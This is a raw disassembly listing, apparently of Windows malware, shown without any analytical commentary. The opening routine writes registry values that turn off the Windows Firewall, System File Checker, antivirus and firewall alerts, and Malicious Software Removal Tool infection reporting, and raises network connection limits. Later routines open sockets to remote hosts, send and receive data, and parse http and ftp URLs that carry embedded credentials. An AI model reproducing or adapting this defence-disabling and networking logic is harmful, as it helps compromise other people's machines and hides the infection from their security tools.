		push	0FFFEh
		push	offset aMaxconnectio_0 ; "MaxConnectionsPerServer"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_4213E8
		push	4000h
		push	offset aSizreqbuf ; "SizReqBuf"
		push	offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
		push	esi
		call	sub_4213E8
		push	0FFFFFF9Dh
		push	offset aSfcdisable ; "SFCDisable"
		push	offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	ebx
		push	offset aSfcscan	; "SFCScan"
		push	offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aAutoshareserve ; "AutoShareServer"
		push	offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aAutosharewks ; "AutoShareWks"
		push	offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aDevice	; "\\Device\\"
		push	offset aTransportbindn ; "TransportBindName"
		push	offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\NetBT"...
		push	esi
		call	sub_421409
		add	esp, 44h
		push	ebx
		push	offset aEnablefirewall ; "EnableFirewall"
		push	offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		push	ebx
		push	offset aDonotallowexce ; "DoNotAllowExceptions"
		push	offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aDisablenotific ; "DisableNotifications"
		push	offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		push	ebx
		push	offset aEnablefirewall ; "EnableFirewall"
		push	offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	ebx
		push	offset aDonotallowexce ; "DoNotAllowExceptions"
		push	offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aDisablenotific ; "DisableNotifications"
		push	offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aAntivirusdisab ; "AntiVirusDisableNotify"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security	Center"
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aAntivirusoverr ; "AntiVirusOverride"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security	Center"
		push	esi
		call	sub_4213E8
		add	esp, 40h
		push	ebp
		push	offset aFirewalldisabl ; "FirewallDisableNotify"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security	Center"
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aFirewalloverri ; "FirewallOverride"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security	Center"
		push	esi
		call	sub_4213E8
		push	ebp
		push	offset aDontreportinfe ; "DontReportInfectionInformation"
		push	offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\MRT"
		push	esi
		call	sub_4213E8
		add	esp, 30h
		call	sub_41E96F
		lea	eax, [esp+3C0h+var_3B0]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41EA30
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		push	0FFFFFEh
		push	offset aTcpnumconnecti ; "TcpNumConnections"
		push	edi
		push	esi
		call	sub_4213E8
		add	esp, 10h
		mov	esi, offset dword_457E60
		push	100h
		push	esi
		call	dword_456F4C	; gethostname
		push	esi
		call	dword_456FD4	; gethostbyname
		mov	dword_457C50, eax
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_456FDC	; inet_ntoa
		push	10h
		push	eax
		push	offset dword_457CF8
		mov	dword_457D10, eax
		call	sub_429D10
		push	offset dword_457E1C
		mov	dword_457D0C, ebx
		call	sub_420D91
		add	esp, 10h
		mov	esi, offset dword_457E1C
		jmp	loc_4195EA
; ---------------------------------------------------------------------------


loc_41955C:				; CODE XREF: sub_418FA1+652j
		mov	ecx, esi
		call	sub_41DB60
		test	al, al
		jnz	short loc_4195BC
		call	sub_427ECD
		mov	eax, dword_457D0C
		mov	ecx, esi
		mov	edi, eax
		imul	eax, 0B8h
		add	eax, offset byte_443FDF
		imul	edi, 0B8h
		push	eax
		push	0Ch
		push	ebp
		call	sub_41D181
		push	eax
		push	4
		push	8
		mov	ecx, esi
		call	sub_41D181
		push	eax
		push	5
		push	7
		mov	ecx, esi
		call	sub_41D181
		push	eax
		lea	eax, dword_443F40[edi]
		push	dword_443FF0[edi]
		mov	ecx, esi
		push	eax
		call	sub_41C8B1


loc_4195BC:				; CODE XREF: sub_418FA1+5C4j
		mov	ecx, esi
		call	sub_41CB2A
		push	3E8h
		call	dword_437190	; Sleep
		mov	eax, dword_445D20
		dec	eax
		cmp	dword_457D0C, eax
		jnz	short loc_4195E4
		mov	dword_457D0C, ebx
		jmp	short loc_4195EA
; ---------------------------------------------------------------------------


loc_4195E4:				; CODE XREF: sub_418FA1+639j
		inc	dword_457D0C


loc_4195EA:				; CODE XREF: sub_418FA1+5B6j
					; sub_418FA1+641j
		mov	ecx, esi
		call	sub_41DB64
		test	al, al
		jnz	loc_41955C
		call	sub_4235A4
		call	dword_456E58	; WSACleanup
		push	dword_457F64
		call	dword_4370DC	; ReleaseMutex
		push	ebx
		call	dword_437174	; ExitThread
sub_418FA1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419617	proc near		; CODE XREF: sub_41985D+31p
					; sub_419C4E+21p ...
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_437334
		mov	[eax+4], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+8], ecx
		retn
sub_419617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41962B	proc near		; DATA XREF: .text:off_437334o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41968F
		test	[esp+4+arg_0], 1
		jz	short loc_419641
		push	esi
		call	sub_4290D0
		pop	ecx


loc_419641:				; CODE XREF: sub_41962B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41962B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419647	proc near		; CODE XREF: sub_41985D+25p
					; sub_419913+30p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi], offset	off_437334
		call	sub_4196C2
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_419647	endp


; =============== S U B	R O U T	I N E =======================================



sub_41966B	proc near		; CODE XREF: sub_41985D+72p
					; sub_419B11+11Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi], offset	off_437334
		call	sub_41970F
		and	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_41966B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41968F	proc near		; CODE XREF: sub_41962B+3p
					; sub_41985D+7Ap ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		mov	dword ptr [esi], offset	off_437334
		test	eax, eax
		jz	short loc_4196A6
		push	eax
		call	sub_4298F2
		pop	ecx


loc_4196A6:				; CODE XREF: sub_41968F+Ej
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		test	eax, eax
		jz	short loc_4196B8
		push	eax
		call	sub_4298F2
		pop	ecx


loc_4196B8:				; CODE XREF: sub_41968F+20j
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn
sub_41968F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196C2	proc near		; CODE XREF: sub_419647+15p
					; sub_41970F+Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4196D3
		push	eax
		call	sub_4298F2
		pop	ecx


loc_4196D3:				; CODE XREF: sub_4196C2+8j
		push	[esp+4+arg_0]
		call	sub_4293A0
		mov	[esi+0Ch], eax
		add	eax, 2
		push	eax
		call	sub_4297B8
		mov	ecx, [esi+0Ch]
		mov	[esi+4], eax
		inc	ecx
		inc	ecx
		push	ecx
		push	0
		push	eax
		call	sub_429760
		push	dword ptr [esi+0Ch]
		push	[esp+1Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_429D10
		add	esp, 20h
		pop	esi
		retn	4
sub_4196C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41970F	proc near		; CODE XREF: sub_41966B+15p
					; sub_419A7Dj ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_419A8C
		push	eax
		mov	ecx, esi
		call	sub_4196C2
		pop	esi
		retn	4
sub_41970F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419727	proc near		; CODE XREF: sub_419770+Fp
					; sub_419B11+A9p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_4293A0
		add	[esi+0Ch], eax
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		call	sub_4297B8
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	dword ptr [esi+4]
		push	edi
		call	dword_4370B4	; lstrcpyA
		push	[esp+8+arg_0]
		push	edi
		call	dword_437090	; lstrcatA
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419768
		push	eax
		call	sub_4298F2
		pop	ecx


loc_419768:				; CODE XREF: sub_419727+38j
		mov	[esi+4], edi
		pop	edi
		pop	esi
		retn	4
sub_419727	endp


; =============== S U B	R O U T	I N E =======================================



sub_419770	proc near		; CODE XREF: sub_419C4E+414p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_419A8C
		push	eax
		mov	ecx, esi
		call	sub_419727
		pop	esi
		retn	4
sub_419770	endp


; =============== S U B	R O U T	I N E =======================================



sub_419788	proc near		; CODE XREF: sub_419C4E+69p
					; sub_419C4E+79p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx+4]
		call	dword_437178	; lstrcmpiA
		retn	4
sub_419788	endp


; =============== S U B	R O U T	I N E =======================================



sub_419798	proc near		; CODE XREF: .text:0041A2F8p
					; .text:0041A4A6p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [ecx+4]
		call	sub_42A8C0
		pop	ecx
		pop	ecx
		retn	4
sub_419798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197A9	proc near		; CODE XREF: .text:0041A1DCp
					; .text:0041A1FBp ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_429B60
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_2000]
		push	[ebp+arg_4]
		push	2000h
		push	eax
		call	sub_42B8AA
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_4196C2
		leave
		retn
sub_4197A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E2	proc near		; CODE XREF: sub_419C4E+A2p
					; .text:0041A272p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_4197F0
		retn	4
sub_4197E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F0	proc near		; CODE XREF: sub_4197E2+6p

arg_0		= byte ptr  4

		push	esi
		push	edi
		movsx	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		push	dword ptr [esi+4]
		call	sub_42B1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41981B
		push	edi
		push	dword ptr [esi+4]
		call	sub_42B1A0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, [esi+4]
		add	eax, ecx


loc_41981B:				; CODE XREF: sub_4197F0+16j
		pop	edi
		pop	esi
		retn	8
sub_4197F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419820	proc near		; CODE XREF: sub_419C4E+38Fp
					; sub_419C4E+3A9p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41982E
		retn	4
sub_419820	endp


; =============== S U B	R O U T	I N E =======================================



sub_41982E	proc near		; CODE XREF: sub_419820+6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		push	dword ptr [esi+4]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419859
		push	[esp+4+arg_0]
		push	dword ptr [esi+4]
		call	sub_42AEA0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, [esi+4]
		add	eax, ecx


loc_419859:				; CODE XREF: sub_41982E+13j
		pop	esi
		retn	8
sub_41982E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41985D	proc near		; CODE XREF: sub_4198F0+17p
					; .text:0041A2CFp ...
		mov	eax, offset loc_436324
		call	sub_42B7CC
		sub	esp, 18h
		and	dword ptr [ebp-14h], 0
		push	edi
		mov	edi, [ebp+10h]
		mov	[ebp-10h], ecx
		cmp	edi, 1
		jge	short loc_419889
		mov	ecx, [ebp+8]
		push	offset byte_454A54
		call	sub_419647
		jmp	short loc_4198DE
; ---------------------------------------------------------------------------


loc_419889:				; CODE XREF: sub_41985D+1Bj
		push	ebx
		push	esi
		lea	ecx, [ebp-24h]
		call	sub_419617
		and	dword ptr [ebp-4], 0
		lea	esi, [edi+1]
		push	esi
		call	sub_4297B8
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_429760
		mov	eax, [ebp-10h]
		push	edi
		mov	eax, [eax+4]
		add	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_429420
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	ebx
		call	sub_4196C2
		mov	ecx, [ebp+8]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_41966B
		lea	ecx, [ebp-24h]
		call	sub_41968F
		pop	esi
		pop	ebx


loc_4198DE:				; CODE XREF: sub_41985D+2Aj
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		mov	large fs:0, ecx
		leave
		retn	0Ch
sub_41985D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198F0	proc near		; CODE XREF: sub_419C4E+39Cp
					; sub_419C4E+3B6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		call	sub_41DB5C
		sub	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41985D
		mov	eax, [ebp+arg_0]
		leave
		retn	8
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419913	proc near		; CODE XREF: sub_419A5E+13p
					; .text:0041A59Cp ...
		mov	eax, offset loc_436357
		call	sub_42B7CC
		sub	esp, 28h
		push	ebx
		xor	ebx, ebx
		mov	[ebp-14h], ebx
		mov	al, [ebp+0Bh]
		push	esi
		push	edi
		mov	[ebp-24h], al
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-18h], ebx
		push	dword ptr [ecx+4]
		xor	esi, esi
		inc	esi
		lea	ecx, [ebp-34h]
		mov	[ebp-4], esi
		call	sub_419647
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 2
		call	sub_419A8C
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jz	loc_4199FA
		mov	edi, [ebp+10h]


loc_419964:				; CODE XREF: sub_419913+E1j
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_419972


loc_41996A:				; CODE XREF: sub_419913+5Dj
		inc	eax
		mov	[ebp-10h], eax
		cmp	[eax], dl
		jz	short loc_41996A


loc_419972:				; CODE XREF: sub_419913+55j
		cmp	byte ptr [eax],	22h
		setz	byte ptr [ebp+13h]
		cmp	[ebp+13h], bl
		jz	short loc_419982
		inc	eax
		mov	[ebp-10h], eax


loc_419982:				; CODE XREF: sub_419913+69j
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-24h]
		push	eax
		call	sub_41B1E4
		mov	eax, [ebp-10h]
		cmp	[ebp+13h], bl
		mov	cl, [eax]
		jz	short loc_4199C9
		cmp	cl, bl
		jz	short loc_4199FA


loc_41999C:				; CODE XREF: sub_419913+A2j
		cmp	cl, 22h
		jnz	short loc_4199AD
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_4199B7
		cmp	cl, bl
		jz	short loc_4199B7


loc_4199AD:				; CODE XREF: sub_419913+8Cj
		inc	eax
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41999C


loc_4199B7:				; CODE XREF: sub_419913+94j
					; sub_419913+98j
		cmp	[eax], bl
		jz	short loc_4199FA
		mov	[eax], bl
		mov	eax, [ebp-10h]
		cmp	[eax+1], bl
		jz	short loc_4199F0
		inc	eax
		inc	eax
		jmp	short loc_4199ED
; ---------------------------------------------------------------------------


loc_4199C9:				; CODE XREF: sub_419913+83j
		cmp	cl, bl
		jz	short loc_4199FA
		mov	dl, [edi]


loc_4199CF:				; CODE XREF: sub_419913+C8j
		cmp	cl, dl
		jz	short loc_4199DD
		inc	eax
		mov	[ebp-10h], eax
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_4199CF


loc_4199DD:				; CODE XREF: sub_419913+BEj
		mov	cl, [eax]
		cmp	cl, bl
		jz	short loc_4199FA
		cmp	cl, dl
		jnz	short loc_4199F0
		mov	[eax], bl
		mov	eax, [ebp-10h]
		inc	eax


loc_4199ED:				; CODE XREF: sub_419913+B4j
		mov	[ebp-10h], eax


loc_4199F0:				; CODE XREF: sub_419913+B0j
					; sub_419913+D2j
		mov	cl, [eax]
		cmp	cl, bl
		jnz	loc_419964


loc_4199FA:				; CODE XREF: sub_419913+48j
					; sub_419913+87j ...
		cmp	[ebp-20h], ebx
		jz	short loc_419A0D
		mov	eax, [ebp-1Ch]
		sub	eax, [ebp-20h]
		sar	eax, 2
		cmp	[ebp+0Ch], eax
		jb	short loc_419A1F


loc_419A0D:				; CODE XREF: sub_419913+EAj
		mov	ecx, [ebp+8]
		push	offset byte_454A54
		call	sub_419647
		mov	[ebp-14h], esi
		jmp	short loc_419A37
; ---------------------------------------------------------------------------


loc_419A1F:				; CODE XREF: sub_419913+F8j
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-24h]
		call	sub_41B1B7
		push	dword ptr [eax]
		mov	ecx, [ebp+8]
		call	sub_419647
		mov	[ebp-14h], esi


loc_419A37:				; CODE XREF: sub_419913+10Aj
		lea	ecx, [ebp-34h]
		call	sub_41968F
		lea	ecx, [ebp-24h]
		mov	[ebp-4], bl
		call	sub_41B19E
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	10h
sub_419913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A5E	proc near		; CODE XREF: sub_419C4E+42p
					; sub_419C4E+95p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419913
		mov	eax, [ebp+arg_0]
		leave
		retn	0Ch
sub_419A5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A7D	proc near		; CODE XREF: sub_419C4E+3C3p
					; sub_419C4E+3F2p ...
		jmp	sub_41970F
sub_419A7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A82	proc near		; CODE XREF: .text:0041A5C2p
					; .text:0041A965p ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		add	eax, [esp+arg_0]
		retn	4
sub_419A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A8C	proc near		; CODE XREF: sub_41970F+7p
					; sub_419770+7p ...
		mov	eax, [ecx+4]
		retn
sub_419A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A90	proc near		; CODE XREF: sub_419B11+29p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		push	101h
		call	dword_4372B8	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4372BC	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419B07
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4372C4	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_41E3EC
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4372CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419B0C
		push	esi
		call	dword_4372D8	; closesocket


loc_419B07:				; CODE XREF: sub_419A90+2Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_419B0E
; ---------------------------------------------------------------------------


loc_419B0C:				; CODE XREF: sub_419A90+6Ej
		mov	eax, esi


loc_419B0E:				; CODE XREF: sub_419A90+7Aj
		pop	esi
		leave
		retn
sub_419A90	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B11	proc near		; CODE XREF: .text:0041A24Ap
					; .text:0041A475p ...
		mov	eax, offset loc_43636C
		call	sub_42B7CC
		mov	eax, 1014h
		call	sub_429B60
		mov	eax, [ebp+10h]
		push	esi
		xor	esi, esi
		push	dword ptr [eax+40h]
		lea	ecx, [eax+10h]
		mov	[ebp-20h], esi
		call	sub_419A8C
		push	eax
		call	sub_419A90
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+10h], eax
		jnz	short loc_419B5B
		mov	ecx, [ebp+8]
		push	offset byte_454A54
		call	sub_419647
		jmp	loc_419C3E
; ---------------------------------------------------------------------------


loc_419B5B:				; CODE XREF: sub_419B11+36j
		push	ebx
		push	edi
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_4293A0
		pop	ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+10h]
		call	dword_4372D0	; send
		push	offset byte_454A54
		lea	ecx, [ebp-1Ch]
		call	sub_419647
		mov	edi, dword_4372D4
		mov	[ebp-4], esi
		mov	esi, 1000h


loc_419B8F:				; CODE XREF: sub_419B11+B4j
					; sub_419B11+DCj
		push	0
		lea	eax, [ebp-1020h]
		push	esi
		push	eax
		push	dword ptr [ebp+10h]
		call	edi ; dword_4372D4
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_419BEF
		cmp	ebx, esi
		jge	short loc_419BB0
		and	byte ptr [ebp+ebx-1020h], 0


loc_419BB0:				; CODE XREF: sub_419B11+95j
		lea	eax, [ebp-1020h]
		lea	ecx, [ebp-1Ch]
		push	eax
		call	sub_419727
		and	dword ptr [ebp+0Ch], 0
		test	ebx, ebx
		jle	short loc_419B8F


loc_419BC7:				; CODE XREF: sub_419B11+DAj
		mov	eax, [ebp+0Ch]
		push	4
		push	offset asc_446DEC ; "\r\n\r\n"
		lea	eax, [ebp+eax-1020h]
		push	eax
		call	sub_42B940
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_419BEF
		inc	dword ptr [ebp+0Ch]
		cmp	[ebp+0Ch], ebx
		jl	short loc_419BC7
		jmp	short loc_419B8F
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B11+91j
					; sub_419B11+D2j ...
		push	0
		lea	eax, [ebp-1020h]
		push	esi
		push	eax
		push	dword ptr [ebp+10h]
		call	edi ; dword_4372D4
		test	eax, eax
		jle	short loc_419C1F
		cmp	eax, esi
		jge	short loc_419C0E
		and	byte ptr [ebp+eax-1020h], 0


loc_419C0E:				; CODE XREF: sub_419B11+F3j
		lea	eax, [ebp-1020h]
		lea	ecx, [ebp-1Ch]
		push	eax
		call	sub_419727
		jmp	short loc_419BEF
; ---------------------------------------------------------------------------


loc_419C1F:				; CODE XREF: sub_419B11+EFj
		push	dword ptr [ebp+10h]
		call	dword_4372D8	; closesocket
		mov	ecx, [ebp+8]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_41966B
		lea	ecx, [ebp-1Ch]
		call	sub_41968F
		pop	edi
		pop	ebx


loc_419C3E:				; CODE XREF: sub_419B11+45j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_419B11	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C4E	proc near		; CODE XREF: .text:0041A0F0p
					; .text:0041A3E3p ...
		mov	eax, offset loc_436418
		call	sub_42B7CC
		sub	esp, 50h
		push	esi
		xor	esi, esi
		cmp	[ebp+8], esi
		jnz	short loc_419C6A
		xor	eax, eax
		jmp	loc_41A07E
; ---------------------------------------------------------------------------


loc_419C6A:				; CODE XREF: sub_419C4E+13j
		push	ebx
		push	edi
		lea	ecx, [ebp-1Ch]
		call	sub_419617
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-1Ch]
		mov	[ebp-4], esi
		call	sub_4196C2
		mov	ebx, offset asc_446E08 ; ":"
		lea	eax, [ebp-3Ch]
		push	ebx
		push	esi
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		mov	edi, [ebp+0Ch]
		push	eax
		mov	ecx, edi
		mov	byte ptr [ebp-4], 1
		call	sub_41970F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_41968F
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jz	short loc_419CD4
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jnz	loc_41A072


loc_419CD4:				; CODE XREF: sub_419C4E+70j
		mov	esi, offset asc_446DF8 ; "/"
		lea	eax, [ebp-3Ch]
		push	esi
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		push	40h
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2
		call	sub_4197E2
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		mov	[ebp+8], eax
		call	sub_41968F
		cmp	dword ptr [ebp+8], 0
		push	esi
		lea	ecx, [ebp-1Ch]
		push	1
		jz	loc_419F0E
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_419A5E
		push	offset a@_6	; "@"
		lea	ecx, [ebp-4Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 3
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-3Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 4
		call	sub_419A5E
		lea	ecx, [edi+10h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_41970F
		lea	ecx, [ebp-3Ch]
		call	sub_41968F
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		push	offset byte_454A54
		lea	ecx, [edi+10h]
		call	sub_419788
		test	eax, eax
		jnz	short loc_419D86


loc_419D7F:				; CODE XREF: sub_419C4E+23Fj
					; sub_419C4E+2BBj ...
		xor	esi, esi
		jmp	loc_41A072
; ---------------------------------------------------------------------------


loc_419D86:				; CODE XREF: sub_419C4E+12Fj
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		push	offset a@_6	; "@"
		lea	ecx, [ebp-4Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 6
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 7
		call	sub_419A5E
		mov	ecx, eax
		call	sub_419A8C
		push	eax
		call	sub_42A100
		pop	ecx
		mov	[edi+40h], eax
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_41968F
		cmp	dword ptr [edi+40h], 0
		jnz	short loc_419E1E
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jnz	short loc_419E07
